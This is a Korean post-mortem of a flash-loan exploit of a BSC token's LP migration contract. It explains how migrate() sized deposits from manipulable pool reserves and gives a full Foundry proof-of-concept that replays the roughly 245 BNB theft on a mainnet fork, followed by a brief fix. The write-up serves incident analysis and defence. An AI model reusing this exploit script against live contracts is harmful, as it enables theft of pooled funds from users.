- Pre-attack tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9
- Attack tx: https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
- Attack contract : https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
- Hacker address : https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
- Old_Cell : 0xf3e1449ddb6b218da2c9463d4594ceccc8934346
- Old_LP : 0x06155034f71811fe0d6568ea8bdf6ec12d04bed2
- New_Cell : 0xd98438889ae7364c7e2a3540547fad042fb24642
- New_LP : 0x1c15f4e3fd885a34660829ae692918b4b9c1803d
function migrate(uint amountLP) external {
(uint token0,uint token1) = migrateLP(amountLP);
(uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();
uint resoult = cell/eth;
token1 = resoult * token0;
IERC20(CELL).approve(ROUTER_V2,token1);
IERC20(WETH).approve(ROUTER_V2,token0);
(uint tokenA, , ) = IUniswapV2Router01(ROUTER_V2).addLiquidity(
WETH,
CELL,
token0,
token1,
0,
0,
msg.sender,
block.timestamp + 5000
);
uint balanceOldToken = IERC20(OLD_CELL).balanceOf(address(this));
IERC20(OLD_CELL).transfer(marketingAddress,balanceOldToken);
if (tokenA < token0) {
uint256 refund0 = token0 - tokenA;
IERC20(WETH).transfer(msg.sender,refund0);
}
}
function migrateLP(uint amountLP) internal returns(uint256 token0,uint256 token1) {
IERC20(LP_OLD).transferFrom(msg.sender,address(this),amountLP);
IERC20(LP_OLD).approve(ROUTER_V2,amountLP);
return IUniswapV2Router01(ROUTER_V2).removeLiquidity(
WETH,
OLD_CELL,
amountLP,
0,
0,
address(this),
block.timestamp + 5000
);
}
LpMigration 컨트랙트의 migrate
함수를 살펴보면, migrateLP
함수를 통해 기존에 있던 풀의 유동성을 제거하고 새로운 LP 풀에 유동성을 제공한다. 이 때 문제가 되는 것은 새로운 풀에 유동성을 제공할 때 단순히 getReserves
를 호출해서 풀에 공급할 토큰의 개수를 계산한다는 것.
(uint token0,uint token1) = migrateLP(amountLP);
(uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();
uint resoult = cell/eth;
token1 = resoult * token0;
만약 기존 풀에 있는 토큰의 개수와 새로운 풀의 토큰 개수가 크게 차이난다면 가격차이가 발생하기 때문에 이를 이용한 아비트라지 공격이 가능하다. 플래시론을 이용하면 훨씬 규모가 큰 공격이 가능하기 때문에 생각보다 쉽게 exploit 될 수 있다.
공격은 두 가지 단계로 이뤄진다. 첫 번째는 기존 풀에 유동성을 제공함으로써 Old_LP
토큰을 얻어낸다. 이는 나중에 기존 풀에서 새로운 풀에 유동성을 공급할 때 필요하며, Pre-attack tx에서 확인할 수 있다.
두 번째는 플래시론부터 시작해서 새로운 풀에 유동성을 추가해 아비트라지 공격을 하는 부분이다. 내용이 길 수 있으니 천천히 따라가보자. Phalcon을 이용해 주소별로 색칠을 해놔서 조금 더 보기 쉽게 만들었다.
1000 WBNB
대출.500,000 Cell(New)
대출.500,000 Cell(New)
-> 50 WBNB
로 스왑900 WBNB
-> 2736 Cell(Old)
로 스왑현재 LP(New)에는
550,000 Cell(New)
+8 WBNB
가 있고,
LP(Old)에는7 Cell(Old)
+902 WBNB
가 있는 상태.
migrate
함수를 총 10번 호출. 각 호출 때마다 Lp(Old)
토큰 0.12개를 이용해 이전 풀에서 유동성을 제거.Lp(Old)
토큰 0.12개 = 1.5 WBNB
+ 0.012 Cell(Old)
1.5 WBNB
+ 107000 Cell(New)
으로 복사가 됨. (getReserves를 이용해 새로운 풀에 공급할 토큰 개수를 계산하는 아래 코드 때문) (uint token0,uint token1) = migrateLP(amountLP);
(uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();
uint resoult = cell/eth;
token1 = resoult * token0;
토큰 복사되는 과정을 조금 더 자세히 살펴보면 아래와 같다.
//token0 = wBNB, token1 = cell
(uint token0,uint token1) = migrateLP(amountLP);
(uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();
//resoult = 550000 / 8 = 68750
uint resoult = cell/eth;
//cell = 68750 * wBNB
token1 = resoult * token0;
//즉 wBNB : cell = 1 : 68750 비율대로 공급하게 됨
IERC20(CELL).approve(ROUTER_V2,token1);
IERC20(WETH).approve(ROUTER_V2,token0);
이 다음부터는 스왑의 연속이다. 토큰을 찍어냈으니 스왑해서 수익 실현하는 단계로 볼 수 있다.
164 WBNB
-> 1,414,732 Cell(New)
로 스왑2736 Cell(New)
-> 868 WBNB
로 스왑여기서 플래시론이 끝나고
768,165 Cell(New)
-> 247 WBNB
로 스왑94,191 Cell(New)
-> 130 WBNB
로 스왑52,125 Cell(New)
-> 0.08 BUSD
-> 소량의 WBNB
로 스왑1000 WBNB
갚고WBNB
-> BNB
로 바꾸면 끝결과적으로 해커는 총 245.5 BNB
(현재 시세 대략 6,874만원)를 챙겨갔다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface IPancakeV3Pool {
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface IPancakeRouterV3 {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(ExactInputSingleParams memory params) external payable returns (uint256 amountOut);
}
interface ILpMigration {
function migrate(uint256 amountLP) external;
}
contract ContractTest is Test {
IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
IPancakeV3Pool PancakePool = IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
IPancakePair PancakeLP = IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
ILpMigration LpMigration = ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
IPancakeRouterV3 SmartRouter = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 28_708_273);
cheats.label(address(DPPOracle), "DPPOracle");
cheats.label(address(PancakePool), "PancakePool");
cheats.label(address(Router), "Router");
cheats.label(address(PancakeLP), "PancakeLP");
cheats.label(address(LpMigration), "LpMigration");
cheats.label(address(SmartRouter), "SmartRouter");
cheats.label(address(CELL9), "CELL9");
cheats.label(address(WBNB), "WBNB");
cheats.label(address(oldCELL), "oldCELL");
cheats.label(address(newCELL), "newCELL");
cheats.label(address(BUSD), "BUSD");
cheats.label(zap, "Zap");
}
function testExploit() public {
deal(address(WBNB), address(this), 0.1 ether);
emit log_named_decimal_uint(
"Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
);
// Preparation. Pre-attack transaction
WBNB.approve(address(Router), type(uint256).max);
swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));
oldCELL.approve(zap, type(uint256).max);
oldCELL.approve(address(Router), type(uint256).max);
swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);
Router.addLiquidity(
address(oldCELL),
address(WBNB),
oldCELL.balanceOf(address(this)),
WBNB.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp + 100
);
// End of preparation. Attack start
DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
PancakePool.flash(
address(this), 0, 500_000 * 1e18, hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
);
newCELL.approve(address(SmartRouter), type(uint256).max);
smartRouterSwap();
swapTokens(address(newCELL), address(WBNB), 94_191_714_329_478_648_796_861);
swapTokens(address(newCELL), address(BUSD), newCELL.balanceOf(address(this)));
BUSD.approve(address(Router), type(uint256).max);
swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));
WBNB.transfer(address(DPPOracle), 1000 * 1e18);
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
newCELL.approve(address(Router), type(uint256).max);
CELL9.approve(address(LpMigration), type(uint256).max);
swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
// Acquiring oldCELL tokens
swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);
// Liquidity amount to migrate (for one call to migrate() func)
uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
emit log_named_uint("Amount of liquidity to migrate (for one migrate call)", lpAmount);
// 8 calls to migrate were successfull. Ninth - revert in attack tx.
for (uint256 i; i < 9; ++i) {
LpMigration.migrate(lpAmount);
}
PancakeLP.transfer(address(PancakeLP), PancakeLP.balanceOf(address(this)));
PancakeLP.burn(address(this));
swapTokens(address(WBNB), address(newCELL), WBNB.balanceOf(address(this)));
swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)));
newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
}
// Helper function for swap tokens with the use Pancake RouterV2
function swapTokens(address from, address to, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = from;
path[1] = to;
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn, 0, path, address(this), block.timestamp + 100
);
}
// Helper function for swap tokens with the use Pancake RouterV3
function smartRouterSwap() internal {
IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({
tokenIn: address(newCELL),
tokenOut: address(WBNB),
fee: 500,
recipient: address(this),
amountIn: 768_165_437_250_117_135_819_067,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
SmartRouter.exactInputSingle(params);
}
receive() external payable {}
}
When migrating liquidity, consider token quantities in both pools and current token prices. Avoid relying solely on trading pair quantities for calculations as they can be manipulated.